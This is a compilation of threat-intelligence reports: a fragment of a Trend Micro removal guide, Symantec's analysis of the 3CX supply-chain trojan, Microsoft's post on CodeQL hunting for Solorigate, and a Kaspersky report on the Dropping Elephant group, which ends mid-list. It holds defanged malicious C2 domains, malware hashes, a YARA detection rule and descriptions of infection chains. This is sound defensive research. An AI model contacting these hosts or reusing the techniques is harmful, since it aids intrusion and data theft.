`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced` - From: `ShowSuperHidden = "0"` - To: `ShowSuperHidden = 1` **Step 8:** Scan your computer with your Trend Micro product to clean files detected as `PE_MOFKSYS.A`. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files.
# 3CX: Supply Chain Attack Affects Thousands of Users Worldwide **UPDATE March 31 2023 14:26 UTC:** Our blog has been updated with a Yara rule to detect the final infostealer payload. **UPDATE March 30 2023 17:39 UTC:** Our blog has been updated with technical analysis of the macOS versions. **UPDATE March 30 2023 14:17 UTC:** Our blog has been updated with additional IOCs. **UPDATE March 30 2023 12:47 UTC:** Our blog has been updated with additional IOCs and protection information. **UPDATE March 30 2023 9:07 UTC:** Our blog has been updated with technical analysis of the malware used. Attackers believed to be linked to North Korea have Trojanized 3CX's DesktopApp, a widely used voice and video calling desktop client. In an attack reminiscent of SolarWinds, installers for several recent Windows and Mac versions of the software were compromised and modified by the attackers in order to deliver additional information stealing malware to the user’s computer. The information gathered by this malware presumably allowed the attackers to gauge if the victim was a candidate for further compromise. ## Attack chain The attackers compromised installer files for at least two Windows versions (18.12.407 and 18.12.416) and two Mac versions (8.11.1213 and latest) of 3CX DesktopApp. The installers contained clean versions of the app along with malicious DLLs. The app was used to sideload the malicious DLLs, which then installed information-stealing malware on the computer. In two variants analyzed by Symantec (SHA256: aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 and 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983), the clean executable was used to load a malicious DLL named ffmpeg.dll (SHA256: 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896). This DLL contains code that will load and execute a payload from a second DLL named d3dcompiler_47.dll (SHA256: 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03). D3dcompiler_47.dll contains an encrypted blob appended to the file, suggesting that it is possibly a Trojanized version of a legitimate file. The blob starts with the hex value “FEEDFACE” which the loader uses to find the blob. The decrypted blob contains shellcode and a third DLL (SHA256: aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973). The shellcode loads and executes this third DLL, export DLLGetClassObject with parameters: ``` 1200 2400 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36” ``` It will then attempt to download an ICO file from the following GitHub repository: ``` https://raw.githubusercontent[].com/IconStorages/images/main/icon%d.ico ``` ## Mac versions At least two macOS versions of the affected software were compromised in a similar fashion. In this case, a dynamic library named libffmpeg.dylib was Trojanized. There are at least two variants of this file (SHA256: a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 and fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7) and they seem to relate to different versions of the software. The malicious code is in the InitFunc_0 function of libffmpeg.dylib; it calls _run_avcodec which starts a thread, in this thread it decodes some shellcode with XOR key 0x7A and then will make an HTTP request. It attempts to download a payload from: ``` URL: https://msstorageazure[.]com/analysis User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.128 Safari/537.36 ``` The following URLs were embedded in analyzed variants: - officestoragebox[.]com/api/biosync - visualstudiofactory[.]com/groupcore - azuredeploystore[.]com/cloud/images - msstorageboxes[.]com/xbox - officeaddons[.]com/quality - sourceslabs[.]com/status - zacharryblogs[.]com/xmlquery - pbxcloudeservices[.]com/network - pbxphonenetwork[.]com/phone - akamaitechcloudservices[.]com/v2/fileapi - azureonlinestorage[.]com/google/storage - msedgepackageinfo[.]com/ms-webview - glcloudservice[.]com/v1/status - pbxsources[.]com/queue ## Mitigation 3CX is aware of the compromise and is advising users to immediately uninstall the app. It said that it is working on an update to the software that will be released within hours. It advised users to consider using its PWA client as an alternative until a clean version of DesktopApp is released. ## Protection **File-based** - Infostealer - Trojan Horse - Trojan.Dropper - Trojan.Malfilter - WS.Malware.2 - OSX.Samsis - Trojan.Samsis **Machine Learning-based** - Heur.AdvML.A - Heur.AdvML.B **Network-based** - Malicious Site: Malicious Domains Request - Malicious Site: Malicious Domain Request 59 - Web Attack: WebPulse Bad Reputation Domain Request For the latest protection updates, please visit the Symantec Protection Bulletin. ## Yara Rule to detect final infostealer payload ```yara rule icon_3cx_stealer { meta: copyright = "Symantec" description = "Infostealer component used in 3CX supply chain attack" strings: $a1 = "******************************** %s ******************************" wide fullword $a2 = "\\3CXDesktopApp\\config.json" wide fullword $a3 = { 7B 00 22 00 48 00 6F 00 73 00 74 00 4E 00 61 00 6D 00 65 00 22 00 3A 00 20 00 22 00 25 00 73 00 22 00 2C 00 20 00 22 00 44 00 6F 00 6D 00 61 00 69 00 6E 00 4E 00 61 00 6D 00 65 00 22 00 3A 00 20 00 22 00 25 00 73 00 22 00 2C 00 20 00 22 00 4F 00 73 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 22 00 3A 00 20 00 22 00 25 00 64 00 2E 00 25 00 64 00 2E 00 25 00 64 00 22 00 7D } $b1 = "HostName: %s" wide fullword $b2 = "DomainName: %s" wide fullword $b3 = "OsV ersion: %d.%d.%d" wide fullword $b4 = "%s.old" wide fullword condition: 3 of ($a*) and 2 of ($b*) } ``` ## Indicators of Compromise - dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc – Windows app - aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 – Windows installer - fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 – Windows app - 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 – Windows installer - 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 – macOS app - 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 – macOS installer - b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb – macOS app - e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec – macOS installer - 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 – Infostealer (d3dcompiler_47.dll) - 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 - Infostealer (ffmpeg.dll) - aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973 - Infostealer - c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 - Infostealer (ffmpeg.dll) - fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 - Malicious macOS library (libffmpeg.dylib) - a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 - Malicious macOS library (libffmpeg.dylib) - 210c9882eba94198274ebc787fe8c88311af24932832a7fe1f1ca0261f815c3d – Malicious ICO file (icon0.ico) - a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c – Malicious ICO file (icon1.ico) - d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 – Malicious ICO file (icon10.ico) - d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 – Malicious ICO file (icon11.ico) - d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a – Malicious ICO file (icon12.ico) - 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f – Malicious ICO file (icon13.ico) - 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d – Malicious ICO file (icon14.ico) - f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 – Malicious ICO file (icon15.ico) - 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f – Malicious ICO file (icon2.ico) - 268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca – Malicious ICO file (icon3.ico) - c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd – Malicious ICO file (icon4.ico) - c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 – Malicious ICO file (icon5.ico) - f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 – Malicious ICO file (icon6.ico) - 2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de – Malicious ICO file (icon7.ico) - e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c – Malicious ICO file (icon8.ico) - d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e – Malicious ICO file (icon9.ico) ### Domains of Interest - akamaicontainer[.]com - akamaitechcloudservices[.]com - azuredeploystore[.]com - azureonlinecloud[.]com - azureonlinestorage[.]com - dunamistrd[.]com - glcloudservice[.]com - journalide[.]org - msedgepackageinfo[.]com - msstorageazure[.]com - msstorageboxes[.]com - officeaddons[.]com - officestoragebox[.]com - pbxcloudeservices[.]com - pbxphonenetwork[.]com - pbxsources[.]com - qwepoi123098[.]com - sbmsa[.]wiki - sourceslabs[.]com - visualstudiofactory[.]com - zacharryblogs[.]com - raw.githubusercontent[.]com/IconStorages/images/main/ ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# Microsoft Open Sources CodeQL Queries Used to Hunt for Solorigate Activity **February 25, 2021** UPDATE: Microsoft continues to work with partners and customers to expand our knowledge of the threat actor behind the nation-state cyberattacks that compromised the supply chain of SolarWinds and impacted multiple other organizations. Microsoft previously used ‘Solorigate’ as the primary designation for the actor, but moving forward, we want to place appropriate focus on the actors behind the sophisticated attacks, rather than one of the examples of malware used by the actors. Microsoft Threat Intelligence Center (MSTIC) has named the actor behind the attack against SolarWinds, the SUNBURST backdoor, TEARDROP malware, and related components as NOBELIUM. As we release new content and analysis, we will use NOBELIUM to refer to the actor and the campaign of attacks. A key aspect of the Solorigate attack is the supply chain compromise that allowed the attacker to modify binaries in SolarWinds’ Orion product. These modified binaries were distributed via previously legitimate update channels and allowed the attacker to remotely perform malicious activities, such as credential theft, privilege escalation, and lateral movement, to steal sensitive information. The incident has reminded organizations to reflect not just on their readiness to respond to sophisticated attacks, but also the resilience of their own codebases. Microsoft believes in leading with transparency and sharing intelligence with the community for the betterment of security practices and posture across the industry as a whole. In this blog, we’ll share our journey in reviewing our codebases, highlighting one specific technique: the use of CodeQL queries to analyze our source code at scale and rule out the presence of the code-level indicators of compromise (IoCs) and coding patterns associated with Solorigate. We are open sourcing the CodeQL queries that we used in this investigation so that other organizations may perform a similar analysis. Note that the queries we cover in this blog simply serve to home in on source code that shares similarities with the source in the Solorigate implant, either in the syntactic elements (names, literals, etc.) or in functionality. Both can occur coincidentally in benign code, so all findings will need review to determine if they are actionable. Additionally, there is no guarantee that the malicious actor is constrained to the same functionality or coding style in other operations, so these queries may not detect other implants that deviate significantly from the tactics seen in the Solorigate implant. These should be considered as just a part in a mosaic of techniques to audit for compromise. Microsoft has long had integrity controls in place to verify that the final compiled binaries distributed to our servers and to our customers have not been maliciously modified at any point in the development and release cycle. For example, we verify that the source file hashes generated by the compiler match the original source files. Still, at Microsoft, we live by the “assume breach” philosophy, which tells us that regardless of how diligent and expansive our security practices are, potential adversaries can be equally as clever and resourced. As part of the Solorigate investigation, we used both automated and manual techniques to validate the integrity of our source code, build environments, and production binaries and environments. Microsoft’s contribution during Solorigate investigations reflects our commitment to a community-based sharing vision described in Githubification of InfoSec. In keeping with our vision to grow defender knowledge and speed community response to sophisticated threats, Microsoft teams have openly and transparently shared indicators of compromise, detailed attack analysis and MITRE ATT&CK techniques, advanced hunting queries, incident response guidance, and risk assessment workbooks during this incident. Microsoft encourages other security organizations that share the “Githubification” vision to open source their own threat knowledge and defender techniques to accelerate defender insight and analysis. As we have shared before, we have compiled a comprehensive resource for technical details of the attack, indicators of compromise, and product guidance. As part of Microsoft’s sweeping investigation into Solorigate, we reviewed our own environment. As we previously shared, these investigations found activity with a small number of internal accounts, and some accounts had been used to view source code, but we found no evidence of any modification to source code, build infrastructure, compiled binaries, or production environments. ## A Primer on CodeQL and How Microsoft Utilizes It CodeQL is a powerful semantic code analysis engine that is now part of GitHub. Unlike many analysis solutions, it works in two distinct stages. First, as part of the compilation of source code into binaries, CodeQL builds a database that captures the model of the compiling code. For interpreted languages, it parses the source and builds its own abstract syntax tree model, as there is no compiler. Second, once constructed, this database can be queried repeatedly like any other database. The CodeQL language is purpose-built to enable the easy selection of complex code conditions from the database. One of the reasons we find so much utility from CodeQL at Microsoft is specifically because this two-stage approach unlocks many useful scenarios, including being able to use static analysis not just for proactive Secure Development Lifecycle analysis but also for reactive code inspection across the enterprise. We aggregate the CodeQL databases produced by the various build systems or pipelines across Microsoft to a centralized infrastructure where we have the capability to query across the breadth of CodeQL databases at once. Aggregating CodeQL databases allows us to search semantically across our multitude of codebases and look for code conditions that may span between multiple assemblies, libraries, or modules based on the specific code that was part of a build. We built this capability to analyze thousands of repositories for newly described variants of vulnerabilities within hours of the variant being described, but it also allowed us to do a first-pass investigation for Solorigate implant patterns similarly, quickly. We are open sourcing several of the C# queries that assess for these code-level IoCs, and they can currently be found in the CodeQL GitHub repository. The Solorigate-Readme.md within that repo contains detailed descriptions of each query and what code-level IoCs each one is attempting to find. It also contains guidance for other query authors on making adjustments to those queries or authoring queries that take a different tactic in finding the patterns. GitHub will shortly publish guidance on how they are deploying these queries for existing CodeQL customers. As a reminder, CodeQL is free for open-source projects hosted by GitHub. ## Our Approach to Finding Code-Level IoCs with CodeQL Queries We used two different tactics when looking for code-level Solorigate IoCs. One approach looks for particular syntax that stood out in the Solorigate code-level IoCs; the other approach looks for overall semantic patterns for the techniques present in the code-level IoCs. The syntactic queries are very quick to write and execute while offering several advantages over comparable regular expression searches; however, they are brittle to the malicious actor changing the names and literals they use. The semantic patterns look for the overall techniques used in the implant, such as hashing process names, time delays before contacting the C2 servers, etc. These are durable to substantial variation, but they are more complicated to author and more compute-intensive when analyzing many codebases at once. By combining these two approaches, the queries are able to detect scenarios where the malicious actor changed techniques but used similar syntax, or changed syntax but employed similar techniques. Because it’s possible that the malicious actor could change both syntax and techniques, CodeQL was but one part of our larger investigative effort. ## Next Steps with CodeQL The queries we shared in this blog and described in Solorigate-Readme.md target patterns specifically associated with the Solorigate code-level IoCs, but CodeQL also provides many other options to query for backdoor functionality and detection-evasion techniques. These queries were relatively quick to author, and we were able to hunt for patterns much more accurately across our CodeQL databases and with far less effort to manually review the findings, compared to using text searches of source code. CodeQL is a powerful developer tool, and our hope is that this post inspires organizations to explore how it can be used to improve reactive security response and act as a compromise detection tool. In future blog posts, we’ll share more ways that Microsoft uses CodeQL. We’ll also continue open-sourcing queries and utilities that build upon CodeQL so that others may benefit from them and further build upon them.
# The Dropping Elephant – Aggressive Cyber-Espionage in the Asian Region Dropping Elephant (also known as “Chinastrats” and “Patchwork”) is a relatively new threat actor that is targeting a variety of high-profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way and are generally caught through spear-phishing or watering hole attacks. Overall, the activities of this actor show that low investment and ready-made offensive toolsets can be very effective when combined with high-quality social engineering. We have seen more such open-source toolset dependency with meterpreter and BeEF, and expect to see this trend continue. ## The Attack Method: Infection Vector Dropping Elephant uses two main infection vectors that share a common, and fairly elaborately maintained, social engineering theme – foreign relations with China. The first approach involves spear-phishing targets using a document with remote content. As soon as the user opens the document, a “ping” request is sent to the attackers’ server. At this point, the attackers know the user has opened the document and send another spear-phishing email, this time containing an MS Word document with an embedded executable. The Word document usually exploits CVE-2012-0158. Sometimes the attackers send an MS PowerPoint document instead, which exploits CVE-2014-6352. Once the payload is executed, an UPX packed AutoIT executable is dropped. Upon execution, this downloads additional components from the attackers’ servers. Then the stealing of documents and data begins. The second approach involves capturing victims through watering hole attacks. The actor created a website that downloads genuine news articles from other websites. If a website visitor wants to view the whole article, they would need to download a PowerPoint document. This reveals the rest of the article but also asks the visitor to download a malicious artifact. The two main infection vectors are supported by other approaches. Sometimes, the attackers email out links to their watering hole websites. They also maintain Google+, Facebook, and Twitter accounts to develop relevant SEO and to reach out to wider targets. Occasionally, these links get retweeted, indiscriminately bringing more potential victims to their watering holes. ## The Attack Tools ### 1. Malware Analysis The backdoor is usually UPX packed but still quite large in size. The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside. Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the user’s Google Chrome credentials. The backdoor also pings the C2 server at regular intervals. A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network. Generally speaking, backdoors download additional malware in the form of encrypted or packed executables/libraries. But, in the case of Dropping Elephant, the backdoor downloads encoded blobs that are then decoded to PowerShell command line “scripts.” These scripts are run and, in turn, download the additional malware. One of the more interesting malware samples downloaded is the file-stealer module. When this file-stealer is executed, it makes another callback to the C2 server, downloading and executing yet another malware sample. It repeatedly attempts to iterate through directories and to collect files with the following extensions: doc, docx, ppt, pptx, pps, ppsx, xls, xlsx, and pdf. These files are then uploaded to the C2 server. Also interesting are the resilient communications used by this group. Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate websites. However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands. ### 2. C2 Analysis In many cases, it was very difficult to get a good overview of the campaign and to find out how successful it is. By combining KSN data with partner-provided C2 server data, we were able to obtain a much fuller picture of the incident. We examined connections and attack logins to this particular C2. As it turned out, the attackers often logged in via a VPN, but sometimes via IPs belonging to an ordinary ISP in India. ## Victim Profile and Geography We also wanted to get a better idea of the geolocation of most visitors. Analysis of the image provided access counts and times, along with the IP of the visiting system. Noteworthy are the many IPs located in China. This focus on China-related foreign relations was apparent from the ongoing social engineering themes that were constant throughout the attacks. The concentration of visits from CN (People’s Republic of China) could be for a variety of reasons – diplomatic staff are visiting these sites from their CN offices, CN academics and analysts are very interested in researching what they believe to be CN-focused think tanks, or some of the IPs are unknown and not self-identifying as bots or scrapers. Regardless, because we were able to determine that multiple targets are diplomatic and governmental entities, these foreign relations efforts are likely to represent the main interest of the attackers. ## Conclusion Campaigns do not always need to be technically advanced to be successful. In this case, a small group reusing exploit code, some PowerShell-based malware, and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015. Our analysis of the C2 server confirmed the high profile of most victims, mainly based in the Asian region and specially focused on Chinese interests. Actually, some hints suggest the group has been successful enough to have recently expanded its operations, perhaps after proving its effectiveness and the value of the data stolen. This is quite worrying, especially given the fact that no 0 days or advanced techniques were used against such high-profile targets. Simply applying software patches will prevent attacks based on old exploits, as well as training in the most basic social engineering attacks. However, it should be noted that in this case Microsoft’s patch for exploit CVE-2014-1761 just warns the user not to allow the execution of the suspicious file. Dropping Elephant artifacts are detected by Kaspersky Lab products as: - Exploit.Win32.CVE-2012-0158.* - Exploit.MSWord.CVE-2014-1761.* - Trojan-Downloader.Win32.Genome.* - HEUR:Trojan.Win32.Generic As usual, Kaspersky Lab actively collaborates with CERTs and LEAs to notify victims and help to mitigate the threat. If you need more information about this actor, please contact [email protected]. ## Indicators of Compromise ### Backdoors - eddb8990632b7967d6e98e4dc1bb8c2f - 1ec225204857d2eee62c78ee7b69fd9d - d3d3a5de76df7c6786ed9c2850bd8405 - 05c5cc0e66ad848ec540fcd3af5853b1 - 0839b3f0a4b28111efc94942436041cb - 0cf4acddfaa77bc66c44a687778f8695 - 233a71ea802af564dd1ab38e62236633 - 39538c8845bd0b4a96c4b8bc1e5d7ea3 - 54c49a6768e5f8551d0918e63b200775 - 7a662144f9d6bada8aea09b579e15562 - aa755fc3521954b10fd65c07b423fc56 - d8102a24ca00ef3db7d942912765441e - e231583412573ecabfd05c4c0642a8b9 - eddb8990632b7967d6e98e4dc1bb8c2f - fb52fbd9b3b465453276f42c46350c25 ### Exploit Documents - d69348794e85ddea6a5f68b85f9bf47b 10_gay_celebs.doc - 9f9824e9a4d7d3073aebbcc781869660 1111_v1.doc - d1c864ae8770ae43a0e59a31c0788dc2 13_Five_Year_Plan_2016-20-1.pps - 9a0534772ac23ff64e3c85b18fbec596 2015nianshijiexiaoxuanshou.doc - a46d44e227b49d2075730610cfec0b2e 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_1.doc - 79afb3f44172447015578b8064c1dda0 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_2.doc - 6abf60e9e2f6e3fa4c8020e1b2ef2867 ABiggerBolderChinain2016_1.doc - 89963d5aac8441b0febbe5d5a0ab7629 ABiggerBolderChinain2016_2.doc - d79e1d6302aabbdf083ba89a7c2f34fc aeropower.pps - 90af176bfdf248d2899b49316458e4b6 australia_fonops_1.pps - 24c722f3d0770ede82fa3d6b550098b3 australia_fonops_2.pps - 08a116efce7d947257ce94fc8f3e276e aviation_1.pps - 0ae8f01b9ba0394f5e68536574076aa1 aviation_2.pps - 0d1bdb45bac3b09e28e4f0cb09c97194 beauty3.pps - d807fb3cb1a0687e152d288171ab9b59 beauty6.pps - f017c65c7b5d14df11c5e0e4f0406562 CHINA_FEAR_US_3.pps - 3cd8e3e80a106b0590a7b5eedddf4715 CHINA_FEAR_US_6.pps - a1940b31af27139a13dff852cb012a22 ChinainSyria.doc - e7ba5c209635607b2b0e38a00a822953 chinamilstrat1.doc - d273f090b96eca7c93387a03d9527d9b chinamilstrat2.doc - 17d5acf49a4d65a4aacc362576dbaa12 chinamilstrength.pps - 3c68ca564595e108920a0f105728fded China_Response_NKorea_Nuclear_Test1.pps - 8c21aee21b6bfa12ecf6070a4532655a China_Response_NKorea_Nuclear_Test2.pps - 333ce967d09189d27f38fe6ed4711099 chinascyberarmy2015_1.pps - 9c9e5d09699821c53d68e957044ec6e8 chinascyberarmy2015_2.pps - c4f5d6ed36c3d51cb1b31f20922ce880 ChinasMilitaryIntelligenceSystemisChanging_1.doc - 1fb7eece41b964517d5224b57073c5d4 ChinasMilitaryIntelligenceSystemisChanging_2.doc - 1e620679c90563d46aa349e991d2e0f2 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.doc - a0177d2fd49d835244028e98449c77a5 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.pps - 1e620679c90563d46aa349e991d2e0f2 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.doc - 70c5267c56ded521c6f674a6a6649f05 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.pps - a1940b31af27139a13dff852cb012a22 ChinatoReceive_S-400_Missiles.doc - 77ff734bc92e853b92595ddf999ee1ec China_two_child_policy_will_underwhelm1.doc - 8c875542def907312fd92d10746c230c China_two_child_policy_will_underwhelm1.pps - e98b1ed80ba3a3b6b0809f04536e9753 ChinaUS_1.pps - 36581da1d10ba6382a63e7046c21dd8d ChinaUS_2.pps - 9a7e499d7abfcbe7fb2a78cf1d7a2f10 chinesemilstrat_1.pps - 40ace1c9394c95d7e9e1e80f24bd1a73 chinesemilstrat_2.pps - 71d59036f84aba8e60aa8785e3883372 cppcc_1.pps - 04aff7c333055188219e290e58313d78 cppcc_2.pps - dffe28c9c4dc9e2e865e3237f4bc38c4 Dev_Kumar_Sunuwar.doc - ae27773e49fea122e3f8ce7a27e6c555 election.pps - 86edf4fab125d8ccba85138f43b24def enggmarvels_1.pps - a8022594e81c74b22abca772eb89657c enggmarvels_2.pps - bc08d1bddf72369adceffbfc36f848df fengnew33.pps - 2c70e1f152e2cb42bb29aadb66ece2ec fengnew36.pps - 3a2be243b0c78e8689b34e2415d5e479 fengnew63.pps - 2158cb891a8ecbaaa70a641a6529b787 fengnew66.pps - a1940b31af27139a13dff852cb012a22 final.doc - a1940b31af27139a13dff852cb012a22 FinancialCrisisChina.doc - 884f76542f3972f473376c943daeaf8f futuredrones_1.pps - 098c74c23ed73ac7bf7581fec2eb088d futuredrones_2.pps - 915e5eefd145c59677a2a9eded97d114 gaokaonewreforms_1.doc - 57377233f2a946d150115ad23bbaf5e6 gaokaonewschedule_1.pps - 1c5b468489cf927c1d969484ddbdd8ea gaokaonewschedule_2.pps - fa2f8ec0ab22f0461e860394c6b06a68 harbin_1.pps - 9a0534772ac23ff64e3c85b18fbec596 Heart_Valve_Replacement.doc - 4ea4142bab2b90e5779df19616f7d8ca Implication_China_mil_reforms_1.doc - 8a350d3f6fb359377d8939e1a2e033f3 Implication_China_mil_reforms_1.pps - f5e121671384fbd43534b8515c9e6940 ISIS_Bet_Part1.doc - 3a83e09f1b751dc08f4b719ed51c3fbc ISIS_Bet_Part2.doc - a1a10dcc6e2ac6b40a86d6ed20cf1bd japan_pivot_1.pps - 72c05100da6b6bcbf3f96fee5cf67c3f japan_pivot_2.pps - ebe8efbad7f01b76465afaf474589c2f jtopcentrecomn.pps - 165ae88945852a37fca8ec5224e35188 korea1.pps - 38e71afcdd6236ac3ad24bda393a81c6 militarizationofsouthchinasea_1.pps - 61f812a1924e6d5b4307313e20cd09d1 militarizationofsouthchinasea_2.pps - 4595dbaeec06e3f9b466d618b4da767e MilitaryReforms1.pps - 1de10c5bc704d3eaf4f0cfa5ddd63f2d MilitaryReforms2.pps - ce1426ffe9ad4439795d269ddcf57c87 MilReform_1.doc - 1e620679c90563d46aa349e991d2e0f2 MilReform_2.doc - 8d2f4e691f2e318f7162a3a5d397b29c MilReforms_1.pps - 631d44688303be28a1c9f3202 MilReforms_2.pps - fe78c037844ad08a9a79c85f46e68a67 my_lovely_pics_3.pps - d5a976cc714651711c8f067dd5e00709 my_lovely_pics_6.pps - 657e9333a052f593b7c51c58917a1b1f my_photos_3.pps - e08bbed0aa4b21ae921d4dc5350789c7 my_photos_6.pps - 141a8b306af8087df4feee15f571eb59 nail_art_3.pps - 122d7dff33174e532063a16ae526208d nail_art_6.pps - d049a6f9e527a72a4b917eec1acbd6f9 netflix1.doc - 09a478efd8c5aeef3a5395e3988f5059 netflix1.pps - d791f8d9495d5d5df0cedb8b27fb3b49 netflix2.doc - e7b4511cba3bba6983c43c9f9014a49d netflix2.pps - d01be8c3c027f9d6f0d93542dfe7ca97 nianshijiexiaoxuanshou2015.doc - 040712ba00b32cc19e1938e14e732f59 North_Korea_Nuclear_Test_1.doc - 3b0ca7dafb94333234e4f1330a1699da North_Korea_Nuclear_Test_2.doc - 1e620679c90563d46aa349e991d2e0f2 Obama_Gift_China_1.doc - 6f327b93279f3ce39f4fbe7a610c3cd2 Obama_Gift_China_1.pps - 1e620679c90563d46aa349e991d2e0f2 Obama_Gift_China_2.doc - 58179b5cf455e2bcac396c697cd43050 Obama_Gift_China_2.pps - fa94f2843639f7afec3c06799a8d222e PAK_CHINA_NAVAL_EXERCISEn.doc - 4d2bde1b3985d1e1088801d92d1d6ca9 pension_1.pps - 9a0534772ac23ff64e3c85b18fbec596 Reconciliation_China’s_PLAN.doc - 2c9b4d460e846d5814c2691ae4591c4f Stewardess1.doc - dab037a9e02978bcd275ddaa15dab01d stewardess1.pps - 007c9c29786d0af81caf437fe626c6fe Stewardess2.doc - 8aae16b5e64445703d939bc7923ae7b7 stewardess2.pps - 036a45983df8f81bf1875097fc026b04 syria_china.pps - a8b9a32723452d27257924a737ec1bed TaiwanDiplomaticAccess_1.pps - f16ee3123d5eb21c053ac95e7cd4f203 TaiwanDiplomaticAccess_2.pps - 71ce64fee9cd323828a44e9228d2736b tibetculture_1.pps - b5e5e428b31a8affe48fdf6b8a253dc6 tibetculture_2.pps - d64efa0b8c091b8dbed3635c2b711431 underestimatingUS_1.pps - 43fe62829b7b9435a247487cd2a9672 underestimatingUS_2.pps - 807796263fd236a041f3633ac578140e UruguayJan-Jun_1o.pps - 98e7dc26531469e6b968cb422371601a uruguayjan-jun_1.pps - 7eb1b6fefe7c5f86dcc914056928a17b UruguayJan-Jun_2o.pps - 7660c6189c928919b0776713d2755db2 uruguayjan-jun_2.pps - 7c4c866cf78be30229b75a3301345f44 UruguayJul-Dec_1o.pps - a4fcf3a441865ae17f2c80ff7c28543d uruguayjul-dec_1.pps - dba585f7d5fc51566c663bd738de2c33 UruguayJul-Dec_2.pps - f7905a7bd6483a12ab36071363b012c3 uruguayjul-dec_2.pps - 409e3368af2add71265d2811aa9d6817 US_China.doc - 5a89f11f4bb3b5637c731e206f807ff7 us_srilanka_relations_1.pps - 7f50d3f4eabffe7225a2d5f0c91009c8 us_srilanka_relations_2.pps - 3d01d2a42450064c55574d853c086f9a WILL_ISIS_INFECT_BANGLADESH.doc - 1538a412fd4035954237c0b4c135fcba WILL_ISIS_INFECT_BANGLADESH.pps - eb0b18ecaa6f40e48970b08f3a3e6803 zodiac_1.pps - da29f5eeb39332a850f04be2906315c1 zodiac_2.pps ### Domains and IPs - www.epg-cn[.]com - chinastrat[.]com - www.chinastrats[.]com - www.newsnstat[.]com - cnmilit[.]com - 163-cn[.]org - alfred.ignorelist[.]com - 5.254.98[.]68 - 43.249.37[.]173 - 85.25.79[.]230 - 10.30.4[.]112 - microsofl.mooo[.]com - ussainbolt.mooo[.]com - ussainbolt1.mooo[.]com - updatesys.zapto[.]org - updatesoft.zapto[.]org ### C2 Redirectors (with obfuscated comments) - feeds.rapidfeeds[.]com/61594/ - wgeastchina.steelhome[.]cn/xml.xml - hostmyrss[.]com/feed/players - feeds.rapidfeeds[.]com/81908/ - 